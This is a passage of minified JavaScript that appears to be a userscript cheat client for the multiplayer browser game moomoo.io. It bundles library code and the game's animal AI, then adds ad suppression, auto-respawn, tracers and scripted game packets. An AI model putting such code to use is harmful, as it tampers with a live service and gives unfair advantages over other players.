						if(E && (n.hostname = "", n.port = null, n.host && ("" === B[0] ? B[0] = n.host : B.unshift(n.host)), n.host = "", e.protocol && (e.hostname = null, e.port = null, e.host && ("" === p[0] ? p[0] = e.host : p.unshift(e.host)), e.host = null), b = b && ("" === p[0] || "" === B[0])), v) n.host = e.host || "" === e.host ? e.host : n.host, n.hostname = e.hostname || "" === e.hostname ? e.hostname : n.hostname, n.search = e.search, n.query = e.query, B = p;
						else if(p.length) B || (B = []), B.pop(), B = B.concat(p), n.search = e.search, n.query = e.query;
						else if(!i.isNullOrUndefined(e.search)) return E && (n.hostname = n.host = B.shift(), (M = !!(n.host && n.host.indexOf("@") > 0) && n.host.split("@")) && (n.auth = M.shift(), n.host = n.hostname = M.shift())), n.search = e.search, n.query = e.query, i.isNull(n.pathname) && i.isNull(n.search) || (n.path = (n.pathname ? n.pathname : "") + (n.search ? n.search : "")), n.href = n.format(), n;
						if(!B.length) return n.pathname = null, n.search ? n.path = "/" + n.search : n.path = null, n.href = n.format(), n;
						for(var k = B.slice(-1)[0], C = (n.host || e.host || B.length > 1) && ("." === k || ".." === k) || "" === k, I = 0, T = B.length; T >= 0; T--) "." === (k = B[T]) ? B.splice(T, 1) : ".." === k ? (B.splice(T, 1), I++) : I && (B.splice(T, 1), I--);
						if(!b && !x)
							for(; I--; I) B.unshift("..");
						!b || "" === B[0] || B[0] && "/" === B[0].charAt(0) || B.unshift(""), C && "/" !== B.join("/")
							.substr(-1) && B.push("");
						var M, P = "" === B[0] || B[0] && "/" === B[0].charAt(0);
						return E && (n.hostname = n.host = P ? "" : B.length ? B.shift() : "", (M = !!(n.host && n.host.indexOf("@") > 0) && n.host.split("@")) && (n.auth = M.shift(), n.host = n.hostname = M.shift())), (b = b || n.host && B.length) && !P && B.unshift(""), B.length ? n.pathname = B.join("/") : (n.pathname = null, n.path = null), i.isNull(n.pathname) && i.isNull(n.search) || (n.path = (n.pathname ? n.pathname : "") + (n.search ? n.search : "")), n.auth = e.auth || n.auth, n.slashes = n.slashes || e.slashes, n.href = n.format(), n
					}, o.prototype.parseHost = function () {
						var e = this.host
							, t = s.exec(e);
						t && (":" !== (t = t[0]) && (this.port = t.substr(1)), e = e.substr(0, e.length - t.length)), e && (this.hostname = e)
					}
				}, function (e, t, n) {
					(function (e, r) {
						var i;
						! function (o) {
							t && t.nodeType, e && e.nodeType;
							var a = "object" == typeof r && r;
							a.global !== a && a.window !== a && a.self;
							var s, l = 2147483647
								, c = 36
								, u = /^xn--/
								, f = /[^\x20-\x7E]/
								, d = /[\x2E\u3002\uFF0E\uFF61]/g
								, h = {
									overflow: "Overflow: input needs wider integers to process"
									, "not-basic": "Illegal input >= 0x80 (not a basic code point)"
									, "invalid-input": "Invalid input"
								}
								, p = Math.floor
								, A = String.fromCharCode;

							function g(e) {
								throw new RangeError(h[e])
							}

							function m(e, t) {
								for(var n = e.length, r = []; n--;) r[n] = t(e[n]);
								return r
							}

							function y(e, t) {
								var n = e.split("@")
									, r = "";
								return n.length > 1 && (r = n[0] + "@", e = n[1]), r + m((e = e.replace(d, "."))
										.split("."), t)
									.join(".")
							}

							function w(e) {
								for(var t, n, r = [], i = 0, o = e.length; i < o;)(t = e.charCodeAt(i++)) >= 55296 && t <= 56319 && i < o ? 56320 == (64512 & (n = e.charCodeAt(i++))) ? r.push(((1023 & t) << 10) + (1023 & n) + 65536) : (r.push(t), i--) : r.push(t);
								return r
							}

							function v(e) {
								return m(e, function (e) {
										var t = "";
										return e > 65535 && (t += A((e -= 65536) >>> 10 & 1023 | 55296), e = 56320 | 1023 & e), t + A(e)
									})
									.join("")
							}

							function b(e) {
								return e - 48 < 10 ? e - 22 : e - 65 < 26 ? e - 65 : e - 97 < 26 ? e - 97 : c
							}

							function x(e, t) {
								return e + 22 + 75 * (e < 26) - ((0 != t) << 5)
							}

							function B(e, t, n) {
								var r = 0;
								for(e = n ? p(e / 700) : e >> 1, e += p(e / t); e > 455; r += c) e = p(e / 35);
								return p(r + 36 * e / (e + 38))
							}

							function E(e) {
								var t, n, r, i, o, a, s, u, f, d, h = []
									, A = e.length
									, m = 0
									, y = 128
									, w = 72;
								for((n = e.lastIndexOf("-")) < 0 && (n = 0), r = 0; r < n; ++r) e.charCodeAt(r) >= 128 && g("not-basic"), h.push(e.charCodeAt(r));
								for(i = n > 0 ? n + 1 : 0; i < A;) {
									for(o = m, a = 1, s = c; i >= A && g("invalid-input"), ((u = b(e.charCodeAt(i++))) >= c || u > p((l - m) / a)) && g("overflow"), m += u * a, !(u < (f = s <= w ? 1 : s >= w + 26 ? 26 : s - w)); s += c) a > p(l / (d = c - f)) && g("overflow"), a *= d;
									w = B(m - o, t = h.length + 1, 0 == o), p(m / t) > l - y && g("overflow"), y += p(m / t), m %= t, h.splice(m++, 0, y)
								}
								return v(h)
							}

							function k(e) {
								var t, n, r, i, o, a, s, u, f, d, h, m, y, v, b, E = [];
								for(m = (e = w(e))
									.length, t = 128, n = 0, o = 72, a = 0; a < m; ++a)(h = e[a]) < 128 && E.push(A(h));
								for(r = i = E.length, i && E.push("-"); r < m;) {
									for(s = l, a = 0; a < m; ++a)(h = e[a]) >= t && h < s && (s = h);
									for(s - t > p((l - n) / (y = r + 1)) && g("overflow"), n += (s - t) * y, t = s, a = 0; a < m; ++a)
										if((h = e[a]) < t && ++n > l && g("overflow"), h == t) {
											for(u = n, f = c; !(u < (d = f <= o ? 1 : f >= o + 26 ? 26 : f - o)); f += c) b = u - d, v = c - d, E.push(A(x(d + b % v, 0))), u = p(b / v);
											E.push(A(x(u, 0))), o = B(n, y, r == i), n = 0, ++r
										}++ n, ++t
								}
								return E.join("")
							}
							s = {
								version: "1.4.1"
								, ucs2: {
									decode: w
									, encode: v
								}
								, decode: E
								, encode: k
								, toASCII: function (e) {
									return y(e, function (e) {
										return f.test(e) ? "xn--" + k(e) : e
									})
								}
								, toUnicode: function (e) {
									return y(e, function (e) {
										return u.test(e) ? E(e.slice(4)
											.toLowerCase()) : e
									})
								}
							}, void 0 === (i = function () {
								return s
							}.call(t, n, t, e)) || (e.exports = i)
						}()
					})
					.call(this, n(62)(e), n(12))
				}, function (e, t) {
					e.exports = function (e) {
						return e.webpackPolyfill || (e.deprecate = function () {}, e.paths = [], e.children || (e.children = []), Object.defineProperty(e, "loaded", {
							enumerable: !0
							, get: function () {
								return e.l
							}
						}), Object.defineProperty(e, "id", {
							enumerable: !0
							, get: function () {
								return e.i
							}
						}), e.webpackPolyfill = 1), e
					}
				}, function (e, t, n) {
					e.exports = {
						isString: function (e) {
							return "string" == typeof e
						}
						, isObject: function (e) {
							return "object" == typeof e && null !== e
						}
						, isNull: function (e) {
							return null === e
						}
						, isNullOrUndefined: function (e) {
							return null == e
						}
					}
				}, function (e, t, n) {
					t.decode = t.parse = n(65), t.encode = t.stringify = n(66)
				}, function (e, t, n) {
					function r(e, t) {
						return Object.prototype.hasOwnProperty.call(e, t)
					}
					e.exports = function (e, t, n, o) {
						t = t || "&", n = n || "=";
						var a = {};
						if("string" != typeof e || 0 === e.length) return a;
						var s = /\+/g;
						e = e.split(t);
						var l = 1e3;
						o && "number" == typeof o.maxKeys && (l = o.maxKeys);
						var c = e.length;
						l > 0 && c > l && (c = l);
						for(var u = 0; u < c; ++u) {
							var f, d, h, p, A = e[u].replace(s, "%20")
								, g = A.indexOf(n);
							g >= 0 ? (f = A.substr(0, g), d = A.substr(g + 1)) : (f = A, d = ""), h = decodeURIComponent(f), p = decodeURIComponent(d), r(a, h) ? i(a[h]) ? a[h].push(p) : a[h] = [a[h], p] : a[h] = p
						}
						return a
					};
					var i = Array.isArray || function (e) {
						return "[object Array]" === Object.prototype.toString.call(e)
					}
				}, function (e, t, n) {
					var r = function (e) {
						switch(typeof e) {
						case "string":
							return e;
						case "boolean":
							return e ? "true" : "false";
						case "number":
							return isFinite(e) ? e : "";
						default:
							return ""
						}
					};
					e.exports = function (e, t, n, s) {
						return t = t || "&", n = n || "=", null === e && (e = void 0), "object" == typeof e ? o(a(e), function (a) {
								var s = encodeURIComponent(r(a)) + n;
								return i(e[a]) ? o(e[a], function (e) {
										return s + encodeURIComponent(r(e))
									})
									.join(t) : s + encodeURIComponent(r(e[a]))
							})
							.join(t) : s ? encodeURIComponent(r(s)) + n + encodeURIComponent(r(e)) : ""
					};
					var i = Array.isArray || function (e) {
						return "[object Array]" === Object.prototype.toString.call(e)
					};

					function o(e, t) {
						if(e.map) return e.map(t);
						for(var n = [], r = 0; r < e.length; r++) n.push(t(e[r], r));
						return n
					}
					var a = Object.keys || function (e) {
						var t = [];
						for(var n in e) Object.prototype.hasOwnProperty.call(e, n) && t.push(n);
						return t
					}
				}, function (e, t, n) {
					! function () {
						var t = n(68)
							, r = n(20)
							.utf8
							, i = n(69)
							, o = n(20)
							.bin
							, a = function (e, n) {
								e.constructor == String ? e = n && "binary" === n.encoding ? o.stringToBytes(e) : r.stringToBytes(e) : i(e) ? e = Array.prototype.slice.call(e, 0) : Array.isArray(e) || (e = e.toString());
								for(var s = t.bytesToWords(e), l = 8 * e.length, c = 1732584193, u = -271733879, f = -1732584194, d = 271733878, h = 0; h < s.length; h++) s[h] = 16711935 & (s[h] << 8 | s[h] >>> 24) | 4278255360 & (s[h] << 24 | s[h] >>> 8);
								s[l >>> 5] |= 128 << l % 32, s[14 + (l + 64 >>> 9 << 4)] = l;
								var p = a._ff
									, A = a._gg
									, g = a._hh
									, m = a._ii;
								for(h = 0; h < s.length; h += 16) {
									var y = c
										, w = u
										, v = f
										, b = d;
									u = m(u = m(u = m(u = m(u = g(u = g(u = g(u = g(u = A(u = A(u = A(u = A(u = p(u = p(u = p(u = p(u, f = p(f, d = p(d, c = p(c, u, f, d, s[h + 0], 7, -680876936), u, f, s[h + 1], 12, -389564586), c, u, s[h + 2], 17, 606105819), d, c, s[h + 3], 22, -1044525330), f = p(f, d = p(d, c = p(c, u, f, d, s[h + 4], 7, -176418897), u, f, s[h + 5], 12, 1200080426), c, u, s[h + 6], 17, -1473231341), d, c, s[h + 7], 22, -45705983), f = p(f, d = p(d, c = p(c, u, f, d, s[h + 8], 7, 1770035416), u, f, s[h + 9], 12, -1958414417), c, u, s[h + 10], 17, -42063), d, c, s[h + 11], 22, -1990404162), f = p(f, d = p(d, c = p(c, u, f, d, s[h + 12], 7, 1804603682), u, f, s[h + 13], 12, -40341101), c, u, s[h + 14], 17, -1502002290), d, c, s[h + 15], 22, 1236535329), f = A(f, d = A(d, c = A(c, u, f, d, s[h + 1], 5, -165796510), u, f, s[h + 6], 9, -1069501632), c, u, s[h + 11], 14, 643717713), d, c, s[h + 0], 20, -373897302), f = A(f, d = A(d, c = A(c, u, f, d, s[h + 5], 5, -701558691), u, f, s[h + 10], 9, 38016083), c, u, s[h + 15], 14, -660478335), d, c, s[h + 4], 20, -405537848), f = A(f, d = A(d, c = A(c, u, f, d, s[h + 9], 5, 568446438), u, f, s[h + 14], 9, -1019803690), c, u, s[h + 3], 14, -187363961), d, c, s[h + 8], 20, 1163531501), f = A(f, d = A(d, c = A(c, u, f, d, s[h + 13], 5, -1444681467), u, f, s[h + 2], 9, -51403784), c, u, s[h + 7], 14, 1735328473), d, c, s[h + 12], 20, -1926607734), f = g(f, d = g(d, c = g(c, u, f, d, s[h + 5], 4, -378558), u, f, s[h + 8], 11, -2022574463), c, u, s[h + 11], 16, 1839030562), d, c, s[h + 14], 23, -35309556), f = g(f, d = g(d, c = g(c, u, f, d, s[h + 1], 4, -1530992060), u, f, s[h + 4], 11, 1272893353), c, u, s[h + 7], 16, -155497632), d, c, s[h + 10], 23, -1094730640), f = g(f, d = g(d, c = g(c, u, f, d, s[h + 13], 4, 681279174), u, f, s[h + 0], 11, -358537222), c, u, s[h + 3], 16, -722521979), d, c, s[h + 6], 23, 76029189), f = g(f, d = g(d, c = g(c, u, f, d, s[h + 9], 4, -640364487), u, f, s[h + 12], 11, -421815835), c, u, s[h + 15], 16, 530742520), d, c, s[h + 2], 23, -995338651), f = m(f, d = m(d, c = m(c, u, f, d, s[h + 0], 6, -198630844), u, f, s[h + 7], 10, 1126891415), c, u, s[h + 14], 15, -1416354905), d, c, s[h + 5], 21, -57434055), f = m(f, d = m(d, c = m(c, u, f, d, s[h + 12], 6, 1700485571), u, f, s[h + 3], 10, -1894986606), c, u, s[h + 10], 15, -1051523), d, c, s[h + 1], 21, -2054922799), f = m(f, d = m(d, c = m(c, u, f, d, s[h + 8], 6, 1873313359), u, f, s[h + 15], 10, -30611744), c, u, s[h + 6], 15, -1560198380), d, c, s[h + 13], 21, 1309151649), f = m(f, d = m(d, c = m(c, u, f, d, s[h + 4], 6, -145523070), u, f, s[h + 11], 10, -1120210379), c, u, s[h + 2], 15, 718787259), d, c, s[h + 9], 21, -343485551), c = c + y >>> 0, u = u + w >>> 0, f = f + v >>> 0, d = d + b >>> 0
								}
								return t.endian([c, u, f, d])
							};
						a._ff = function (e, t, n, r, i, o, a) {
							var s = e + (t & n | ~t & r) + (i >>> 0) + a;
							return (s << o | s >>> 32 - o) + t
						}, a._gg = function (e, t, n, r, i, o, a) {
							var s = e + (t & r | n & ~r) + (i >>> 0) + a;
							return (s << o | s >>> 32 - o) + t
						}, a._hh = function (e, t, n, r, i, o, a) {
							var s = e + (t ^ n ^ r) + (i >>> 0) + a;
							return (s << o | s >>> 32 - o) + t
						}, a._ii = function (e, t, n, r, i, o, a) {
							var s = e + (n ^ (t | ~r)) + (i >>> 0) + a;
							return (s << o | s >>> 32 - o) + t
						}, a._blocksize = 16, a._digestsize = 16, e.exports = function (e, n) {
							if(null == e) throw new Error("Illegal argument " + e);
							var r = t.wordsToBytes(a(e, n));
							return n && n.asBytes ? r : n && n.asString ? o.bytesToString(r) : t.bytesToHex(r)
						}
					}()
				}, function (e, t) {
					! function () {
						var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
							, n = {
								rotl: function (e, t) {
									return e << t | e >>> 32 - t
								}
								, rotr: function (e, t) {
									return e << 32 - t | e >>> t
								}
								, endian: function (e) {
									if(e.constructor == Number) return 16711935 & n.rotl(e, 8) | 4278255360 & n.rotl(e, 24);
									for(var t = 0; t < e.length; t++) e[t] = n.endian(e[t]);
									return e
								}
								, randomBytes: function (e) {
									for(var t = []; e > 0; e--) t.push(Math.floor(256 * Math.random()));
									return t
								}
								, bytesToWords: function (e) {
									for(var t = [], n = 0, r = 0; n < e.length; n++, r += 8) t[r >>> 5] |= e[n] << 24 - r % 32;
									return t
								}
								, wordsToBytes: function (e) {
									for(var t = [], n = 0; n < 32 * e.length; n += 8) t.push(e[n >>> 5] >>> 24 - n % 32 & 255);
									return t
								}
								, bytesToHex: function (e) {
									for(var t = [], n = 0; n < e.length; n++) t.push((e[n] >>> 4)
										.toString(16)), t.push((15 & e[n])
										.toString(16));
									return t.join("")
								}
								, hexToBytes: function (e) {
									for(var t = [], n = 0; n < e.length; n += 2) t.push(parseInt(e.substr(n, 2), 16));
									return t
								}
								, bytesToBase64: function (e) {
									for(var n = [], r = 0; r < e.length; r += 3)
										for(var i = e[r] << 16 | e[r + 1] << 8 | e[r + 2], o = 0; o < 4; o++) 8 * r + 6 * o <= 8 * e.length ? n.push(t.charAt(i >>> 6 * (3 - o) & 63)) : n.push("=");
									return n.join("")
								}
								, base64ToBytes: function (e) {
									e = e.replace(/[^A-Z0-9+\/]/gi, "");
									for(var n = [], r = 0, i = 0; r < e.length; i = ++r % 4) 0 != i && n.push((t.indexOf(e.charAt(r - 1)) & Math.pow(2, -2 * i + 8) - 1) << 2 * i | t.indexOf(e.charAt(r)) >>> 6 - 2 * i);
									return n
								}
							};
						e.exports = n
					}()
				}, function (e, t) {
					function n(e) {
						return !!e.constructor && "function" == typeof e.constructor.isBuffer && e.constructor.isBuffer(e)
					}
					e.exports = function (e) {
						return null != e && (n(e) || function (e) {
							return "function" == typeof e.readFloatLE && "function" == typeof e.slice && n(e.slice(0, 0))
						}(e) || !!e._isBuffer)
					}
				}, function (e, t) {
					e.exports = function (e, t, n, r, i, o, a, s, l) {
						this.aiTypes = [{
							id: 0
							, src: "cow_1"
							, killScore: 150
							, health: 500
							, weightM: .8
							, speed: 95e-5
							, turnSpeed: .001
							, scale: 72
							, drop: ["food", 50]
						}, {
							id: 1
							, src: "pig_1"
							, killScore: 200
							, health: 800
							, weightM: .6
							, speed: 85e-5
							, turnSpeed: .001
							, scale: 72
							, drop: ["food", 80]
						}, {
							id: 2
							, name: "Bull"
							, src: "bull_2"
							, hostile: !0
							, dmg: 20
							, killScore: 1e3
							, health: 1800
							, weightM: .5
							, speed: 94e-5
							, turnSpeed: 74e-5
							, scale: 78
							, viewRange: 800
							, chargePlayer: !0
							, drop: ["food", 100]
						}, {
							id: 3
							, name: "Bully"
							, src: "bull_1"
							, hostile: !0
							, dmg: 20
							, killScore: 2e3
							, health: 2800
							, weightM: .45
							, speed: .001
							, turnSpeed: 8e-4
							, scale: 90
							, viewRange: 900
							, chargePlayer: !0
							, drop: ["food", 400]
						}, {
							id: 4
							, name: "Wolf"
							, src: "wolf_1"
							, hostile: !0
							, dmg: 8
							, killScore: 500
							, health: 300
							, weightM: .45
							, speed: .001
							, turnSpeed: .002
							, scale: 84
							, viewRange: 800
							, chargePlayer: !0
							, drop: ["food", 200]
						}, {
							id: 5
							, name: "Quack"
							, src: "chicken_1"
							, dmg: 8
							, killScore: 2e3
							, noTrap: !0
							, health: 300
							, weightM: .2
							, speed: .0018
							, turnSpeed: .006
							, scale: 70
							, drop: ["food", 100]
						}, {
							id: 6
							, name: "MOOSTAFA"
							, nameScale: 50
							, src: "enemy"
							, hostile: !0
							, dontRun: !0
							, fixedSpawn: !0
							, spawnDelay: 6e4
							, noTrap: !0
							, colDmg: 100
							, dmg: 40
							, killScore: 8e3
							, health: 18e3
							, weightM: .4
							, speed: 7e-4
							, turnSpeed: .01
							, scale: 80
							, spriteMlt: 1.8
							, leapForce: .9
							, viewRange: 1e3
							, hitRange: 210
							, hitDelay: 1e3
							, chargePlayer: !0
							, drop: ["food", 100]
						}, {
							id: 7
							, name: "Treasure"
							, hostile: !0
							, nameScale: 35
							, src: "crate_1"
							, fixedSpawn: !0
							, spawnDelay: 12e4
							, colDmg: 200
							, killScore: 5e3
							, health: 2e4
							, weightM: .1
							, speed: 0
							, turnSpeed: 0
							, scale: 70
							, spriteMlt: 1
						}, {
							id: 8
							, name: "MOOFIE"
							, src: "wolf_2"
							, hostile: !0
							, fixedSpawn: !0
							, dontRun: !0
							, hitScare: 4
							, spawnDelay: 3e4
							, noTrap: !0
							, nameScale: 35
							, dmg: 10
							, colDmg: 100
							, killScore: 3e3
							, health: 7e3
							, weightM: .45
							, speed: .0015
							, turnSpeed: .002
							, scale: 90
							, viewRange: 800
							, chargePlayer: !0
							, drop: ["food", 1e3]
						}], this.spawn = function (c, u, f, d) {
							for(var h, p = 0; p < e.length; ++p)
								if(!e[p].active) {
									h = e[p];
									break
								} return h || (h = new t(e.length, i, n, r, a, o, s, l), e.push(h)), h.init(c, u, f, d, this.aiTypes[d]), h
						}
					}
				}, function (e, t) {
					var n = 2 * Math.PI;
					e.exports = function (e, t, r, i, o, a, s, l) {
						this.sid = e, this.isAI = !0, this.nameIndex = o.randInt(0, a.cowNames.length - 1), this.init = function (e, t, n, r, i) {
							this.x = e, this.y = t, this.startX = i.fixedSpawn ? e : null, this.startY = i.fixedSpawn ? t : null, this.xVel = 0, this.yVel = 0, this.zIndex = 0, this.dir = n, this.dirPlus = 0, this.index = r, this.src = i.src, i.name && (this.name = i.name), this.weightM = i.weightM, this.speed = i.speed, this.killScore = i.killScore, this.turnSpeed = i.turnSpeed, this.scale = i.scale, this.maxHealth = i.health, this.leapForce = i.leapForce, this.health = this.maxHealth, this.chargePlayer = i.chargePlayer, this.viewRange = i.viewRange, this.drop = i.drop, this.dmg = i.dmg, this.hostile = i.hostile, this.dontRun = i.dontRun, this.hitRange = i.hitRange, this.hitDelay = i.hitDelay, this.hitScare = i.hitScare, this.spriteMlt = i.spriteMlt, this.nameScale = i.nameScale, this.colDmg = i.colDmg, this.noTrap = i.noTrap, this.spawnDelay = i.spawnDelay, this.hitWait = 0, this.waitCount = 1e3, this.moveCount = 0, this.targetDir = 0, this.active = !0, this.alive = !0, this.runFrom = null, this.chargeTarget = null, this.dmgOverTime = {}
						};
						var c = 0;
						this.update = function (e) {
							if(this.active) {
								if(this.spawnCounter) return this.spawnCounter -= e, void(this.spawnCounter <= 0 && (this.spawnCounter = 0, this.x = this.startX || o.randInt(0, a.mapScale), this.y = this.startY || o.randInt(0, a.mapScale)));
								(c -= e) <= 0 && (this.dmgOverTime.dmg && (this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer), this.dmgOverTime.time -= 1, this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)), c = 1e3);
								var i = !1
									, s = 1;
								if(!this.zIndex && !this.lockMove && this.y >= a.mapScale / 2 - a.riverWidth / 2 && this.y <= a.mapScale / 2 + a.riverWidth / 2 && (s = .33, this.xVel += a.waterCurrent * e), this.lockMove) this.xVel = 0, this.yVel = 0;
								else if(this.waitCount > 0) {
									if(this.waitCount -= e, this.waitCount <= 0)
										if(this.chargePlayer) {
											for(var u, f, d, h = 0; h < r.length; ++h) !r[h].alive || r[h].skin && r[h].skin.bullRepel || (d = o.getDistance(this.x, this.y, r[h].x, r[h].y)) <= this.viewRange && (!u || d < f) && (f = d, u = r[h]);
											u ? (this.chargeTarget = u, this.moveCount = o.randInt(8e3, 12e3)) : (this.moveCount = o.randInt(1e3, 2e3), this.targetDir = o.randFloat(-Math.PI, Math.PI))
										} else this.moveCount = o.randInt(4e3, 1e4), this.targetDir = o.randFloat(-Math.PI, Math.PI)
								} else if(this.moveCount > 0) {
									var p = this.speed * s;
									if(this.runFrom && this.runFrom.active && (!this.runFrom.isPlayer || this.runFrom.alive) ? (this.targetDir = o.getDirection(this.x, this.y, this.runFrom.x, this.runFrom.y), p *= 1.42) : this.chargeTarget && this.chargeTarget.alive && (this.targetDir = o.getDirection(this.chargeTarget.x, this.chargeTarget.y, this.x, this.y), p *= 1.75, i = !0), this.hitWait && (p *= .3), this.dir != this.targetDir) {
										this.dir %= n;
										var A = (this.dir - this.targetDir + n) % n
											, g = Math.min(Math.abs(A - n), A, this.turnSpeed * e)
											, m = A - Math.PI >= 0 ? 1 : -1;
										this.dir += m * g + n
									}
									this.dir %= n, this.xVel += p * e * Math.cos(this.dir), this.yVel += p * e * Math.sin(this.dir), this.moveCount -= e, this.moveCount <= 0 && (this.runFrom = null, this.chargeTarget = null, this.waitCount = this.hostile ? 1500 : o.randInt(1500, 6e3))
								}
								this.zIndex = 0, this.lockMove = !1;
								var y = o.getDistance(0, 0, this.xVel * e, this.yVel * e)
									, w = Math.min(4, Math.max(1, Math.round(y / 40)))
									, v = 1 / w;
								for(h = 0; h < w; ++h) {
									this.xVel && (this.x += this.xVel * e * v), this.yVel && (this.y += this.yVel * e * v), I = t.getGridArrays(this.x, this.y, this.scale);
									for(var b = 0; b < I.length; ++b)
										for(var x = 0; x < I[b].length; ++x) I[b][x].active && t.checkCollision(this, I[b][x], v)
								}
								var B, E, k, C = !1;
								if(this.hitWait > 0 && (this.hitWait -= e, this.hitWait <= 0)) {
									C = !0, this.hitWait = 0, this.leapForce && !o.randInt(0, 2) && (this.xVel += this.leapForce * Math.cos(this.dir), this.yVel += this.leapForce * Math.sin(this.dir));
									for(var I = t.getGridArrays(this.x, this.y, this.hitRange), T = 0; T < I.length; ++T)
										for(b = 0; b < I[T].length; ++b)(B = I[T][b])
											.health && (E = o.getDistance(this.x, this.y, B.x, B.y)) < B.scale + this.hitRange && (B.changeHealth(5 * -this.dmg) && t.disableObj(B), t.hitObj(B, o.getDirection(this.x, this.y, B.x, B.y)));
									for(b = 0; b < r.length; ++b) r[b].canSee(this) && l.send(r[b].id, "aa", this.sid)
								}
								if(i || C)
									for(h = 0; h < r.length; ++h)(B = r[h]) && B.alive && (E = o.getDistance(this.x, this.y, B.x, B.y), this.hitRange ? !this.hitWait && E <= this.hitRange + B.scale && (C ? (k = o.getDirection(B.x, B.y, this.x, this.y), B.changeHealth(-this.dmg), B.xVel += .6 * Math.cos(k), B.yVel += .6 * Math.sin(k), this.runFrom = null, this.chargeTarget = null, this.waitCount = 3e3, this.hitWait = o.randInt(0, 2) ? 0 : 600) : this.hitWait = this.hitDelay) : E <= this.scale + B.scale && (k = o.getDirection(B.x, B.y, this.x, this.y), B.changeHealth(-this.dmg), B.xVel += .55 * Math.cos(k), B.yVel += .55 * Math.sin(k)));
								this.xVel && (this.xVel *= Math.pow(a.playerDecel, e)), this.yVel && (this.yVel *= Math.pow(a.playerDecel, e));
								var M = this.scale;
								this.x - M < 0 ? (this.x = M, this.xVel = 0) : this.x + M > a.mapScale && (this.x = a.mapScale - M, this.xVel = 0), this.y - M < 0 ? (this.y = M, this.yVel = 0) : this.y + M > a.mapScale && (this.y = a.mapScale - M, this.yVel = 0)
							}
						}, this.canSee = function (e) {
							if(!e) return !1;
							if(e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer) return !1;
							var t = Math.abs(e.x - this.x) - e.scale
								, n = Math.abs(e.y - this.y) - e.scale;
							return t <= a.maxScreenWidth / 2 * 1.3 && n <= a.maxScreenHeight / 2 * 1.3
						};
						var u = 0
							, f = 0;
						this.animate = function (e) {
							this.animTime > 0 && (this.animTime -= e, this.animTime <= 0 ? (this.animTime = 0, this.dirPlus = 0, u = 0, f = 0) : 0 == f ? (u += e / (this.animSpeed * a.hitReturnRatio), this.dirPlus = o.lerp(0, this.targetAngle, Math.min(1, u)), u >= 1 && (u = 1, f = 1)) : (u -= e / (this.animSpeed * (1 - a.hitReturnRatio)), this.dirPlus = o.lerp(0, this.targetAngle, Math.max(0, u))))
						}, this.startAnim = function () {
							this.animTime = this.animSpeed = 600, this.targetAngle = .8 * Math.PI, u = 0, f = 0
						}, this.changeHealth = function (e, t, n) {
							if(this.active && (this.health += e, n && (this.hitScare && !o.randInt(0, this.hitScare) ? (this.runFrom = n, this.waitCount = 0, this.moveCount = 2e3) : this.hostile && this.chargePlayer && n.isPlayer ? (this.chargeTarget = n, this.waitCount = 0, this.moveCount = 8e3) : this.dontRun || (this.runFrom = n, this.waitCount = 0, this.moveCount = 2e3)), e < 0 && this.hitRange && o.randInt(0, 1) && (this.hitWait = 500), t && t.canSee(this) && e < 0 && l.send(t.id, "t", Math.round(this.x), Math.round(this.y), Math.round(-e), 1), this.health <= 0 && (this.spawnDelay ? (this.spawnCounter = this.spawnDelay, this.x = -1e6, this.y = -1e6) : (this.x = this.startX || o.randInt(0, a.mapScale), this.y = this.startY || o.randInt(0, a.mapScale)), this.health = this.maxHealth, this.runFrom = null, t && (s(t, this.killScore), this.drop))))
								for(var r = 0; r < this.drop.length;) t.addResource(a.resourceTypes.indexOf(this.drop[r]), this.drop[r + 1]), r += 2
						}
					}
				}]);
			let ge = (...e) => {
				let t = e;
				t[0] == Ve.hat && !t[0] || t[0] == Ve.accessory && t[1] || (storeBuy(...e), t[1] ? (ae(["13c", [0, 0, 1]]), ae(["13c", [0, t[0], 1]])) : ae(["13c", [0, t[0], 0]]))
			};

			function e(e) {
				return null !== e.offsetParent
			}
			unsafeWindow.storeEquip = ge, storeEquip = ge;
			try {
				document.getElementById("moomooio_728x90_home")
					.style.display = "none", $("#moomooio_728x90_home")
					.parent()
					.css({
						display: "none"
					});
				try {
					window.admob = {
						requestInterstitialAd: () => {}
						, showInterstitialAd: () => {}
					}
				} catch (e) {
					console.warn(e)
				}
			} catch (e) {
				console.log("Failed, " + e)
			}
			$("#adCard")
				.remove(), document.onload = setTimeout(function () {
					"Loading" == reloadModule.loadState && document.querySelector("#ot-sdk-btn-floating") && (reloadModule.loadState = "Disconnected")
				}, 7400), window.reloadModule = class {
					static loadStateGetter() {
						"Reloading" != reloadModule.loadState && (document.querySelector("#loadingText")
							.innerText.includes("Loading") ? document.querySelector("#partyButton")
							.innerText.length > 1 && (reloadModule.loadState = "Done") : document.querySelector("#loadingText")
							.innerText.includes("disconnected") && (reloadModule.loadState = "Disconnected"), "Disconnected" == reloadModule.loadState && (location.reload(), reloadModule.loadState = "Reloading"), window.requestAnimationFrame(reloadModule.loadStateGetter))
					}
				}, reloadModule.reloadState = "Loading", window.requestAnimationFrame(reloadModule.loadStateGetter), $("#gameCanvas")
				.css("cursor", "auto"), $("#guideCard")
				.css({
					"max-height": "350px"
					, width: "320px"
					, "overflow-y": "scroll"
					, "-webkit-overflow-scrolling": "touch"
				}), document.getElementById("mainMenu")
				.style.backgroundImage = "url('http://surviv.io/img/main_splash.png')";
			async function t(e) {
				return new Promise((t, n) => {
					setTimeout(() => {
						t()
					}, e)
				})
			}
			unsafeWindow.trace_a = function () {
				unsafeWindow.tr(Ve.x, Ve.y)
			}, unsafeWindow.cleartr = function () {
				unsafeWindow.cleartracers()
			};
			setInterval(async () => {
					e(document.getElementById("enterGame")) && document.getElementById("autospawn")
						.checked && ae(["sp", [{
							name: "cc"
							, moofoll: !0
							, skin: "constructor"
						}]])
				}, 112.5), $("#chatBox")
				.css({
					width: "300px"
				}), document.getElementById("storeHolder")
				.style = "height: 1500px; width: 450px;";
			const me = $("#pingDisplay");
			me.css("top", "3px"), me.css("display", "block"), $("body")
				.append(me), document.generateFixedClan = (() => {
					ae(["8", [document.getElementById("fixedClanCreationValue")
						.value
					]])
				});
			const ye = [{
					id: 45
					, name: "Shame!"
					, dontSell: !0
					, price: 0
					, scale: 120
					, desc: "hacks are for losers"
				}, {
					id: 51
					, name: "Moo Cap"
					, price: 0
					, scale: 120
					, desc: "coolest mooer around"
				}, {
